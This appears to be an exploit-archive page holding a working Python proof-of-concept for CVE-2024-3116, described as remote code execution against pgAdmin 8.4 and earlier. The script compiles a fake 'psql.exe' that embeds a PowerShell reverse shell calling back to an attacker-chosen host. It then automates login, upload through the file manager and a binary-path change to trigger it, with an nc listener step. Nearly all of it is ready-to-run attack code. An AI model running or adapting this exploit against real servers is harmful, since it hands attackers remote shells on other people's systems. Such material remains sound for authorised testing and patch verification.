4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_cve_2024_3116.py PY
import argparse
import os
import subprocess
import socket
import re
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time

def compile_binary(lhost, lport):
    source_code = f"""#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {{
	if (argc > 1 && strcmp(argv[1], "--version") == 0) {{
    	system("powershell -nop -c \\\"$client = New-Object System.Net.Sockets.TCPClient('{lhost}', {lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\\\"");
	}} else {{
    	printf("Usage: %s --version\\n", argv[0]);
	}}
	return 0;
}}
        """
    try:
        with open("./poc.c", "w") as file:
            file.write(source_code)
        print(f"Source code written")
    except IOError:
        print(f"Error writing source code")

    # Command to compile C program for Windows
    compile_command = f"x86_64-w64-mingw32-gcc -o psql.exe poc.c"

    # Execute the compilation command
    try:
        subprocess.run(compile_command, shell=True, check=True)
        print("Compilation successful.")
    except subprocess.CalledProcessError as e:
        print(f"Compilation failed: {e}")

def main(email, password, rhost, rport, lhost, lport):
    print("Don't forget to launch Burp suite !")
    burp = input("Burp is launched ? (yes/no) ")
    if burp not in ("y", "yes", "Y", "YES"):
        exit()

    # Configure Selenium
    options = webdriver.ChromeOptions()
    options.add_argument("--headless")
    options.add_argument(f'--proxy-server=127.0.0.1:8080')
    driver = webdriver.Chrome(options=options)

    driver.get(f'{rhost}:{rport}/login?next=%2Fbrowser%2F') # Ask the login page
    time.sleep(5)

    username_field = driver.find_element(By.NAME, "email")
    username_field.send_keys(email)

    password_field = driver.find_element(By.NAME, "password")
    password_field.send_keys(password)

    login_button = driver.find_element(By.XPATH, "//button[@type='submit']")
    login_button.click()

    # uploading
    driver.get(f'{rhost}:{rport}/browser/')

    ## Find and click the "Tools" button
    tools_button_locator = '//button[@data-label="Tools"]'
    tools_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, tools_button_locator)))
    tools_button.click()

    ## Click on the "Import/Export Servers..." menu item
    import_item_locator = '//li[@data-label="Import/Export Servers..."]'
    import_item = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, import_item_locator)))
    import_item.click()

    ## The import/export window appear
    ## click on select a file
    file_button_locator = '//button[@aria-label="Select a file"]'
    file_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, file_button_locator)))
    file_button.click()

    ## Click on "options"
    options_button_locator = '//button[@data-label="Options"]'
    options_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, options_button_locator)))
    options_button.click()

    ## click on the menu item upload
    upload_menu_item_locator = '//li[@data-label="Upload"]'
    upload_menu_item = WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH, upload_menu_item_locator)))
    upload_menu_item.click()

    # Create the file
    compile_binary(lhost, lport)

    ## upload the file
    ### Find the file input element
    file_input = driver.find_element(By.XPATH, '//input[@type="file"]')

    ### Execute JavaScript to make the file input element visible
    driver.execute_script("arguments[0].style.display = 'block';", file_input)

    ### Specify the file path you want to upload
    file_path = os.path.join(os.getcwd(), "psql.exe")
    file_input.send_keys(file_path)

    # Try to recover the path
    ## Wait for the response to be received (adjust the time as needed)
    driver.implicitly_wait(10)

    # Fail to recover the path so ask it !
    path = input("Check the request of the upload file (the POST to /file_manager/filemanager/XXXXXXX/, should be the last one) and give me the path (without the /\\\\.psql.exe) : ")

    # Open a listener
    print(f"In another terminal launch the command : nc -lvnp {lport}")
    listener = input("ready ? (yes/no) ")
    while listener not in ("y", "yes", "Y", "YES"):
        listener = input("ready ? (yes/no)")
    
    # Trigger the binary file
    ## Go back to /browser
    driver.get(f'{rhost}:{rport}/browser/')

    # 1. Click on the "File" button
    file_button_locator = '//button[@data-label="File"]'
    file_button = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, file_button_locator)))
    file_button.click()

    # 2. Click on the "Preferences" menu item
    preferences_menu_item_locator = '//li[@data-label="Preferences"]'
    preferences_menu_item = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, preferences_menu_item_locator)))
    preferences_menu_item.click()

    # 3. Click on the "Binary paths" file entry
    binary_paths_file_entry_locator = '//div[contains(span[@class="file-label"]/span[@class="file-name"], "Binary paths")]'
    binary_paths_file_entry = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, binary_paths_file_entry_locator)))
    binary_paths_file_entry.click()

    # 4. Write the variable "path" into the input field
    driver.implicitly_wait(10)
    path_input = driver.find_element(By.NAME, "binaryPath")
    path_input.send_keys(path)

    # 5. Click on the "Validate" button
    validate_button_locator = '//button[@data-label="Validate"]'
    validate_button = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, validate_button_locator)))
    validate_button.click()

    print ("Should be done !")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='RCE against pgadmin <=8.4 (CVE-2024-3116). Give a reverse shell')
    parser.add_argument('--email', type=str, required=True, help='Email address')
    parser.add_argument('--password', type=str, required=True, help='Password')
    parser.add_argument('--rhost', type=str, required=True, help='Remote host (URL or IP address)')
    parser.add_argument('--rport', type=int, required=True, help='Remote port number')
    parser.add_argument('--lhost', type=str, required=True, help='Local host (URL or IP address)')
    parser.add_argument('--lport', type=int, required=True, help='Local port number')
    
    args = parser.parse_args()
    
    main(args.email, args.password, args.rhost, args.rport, args.lhost, args.lport)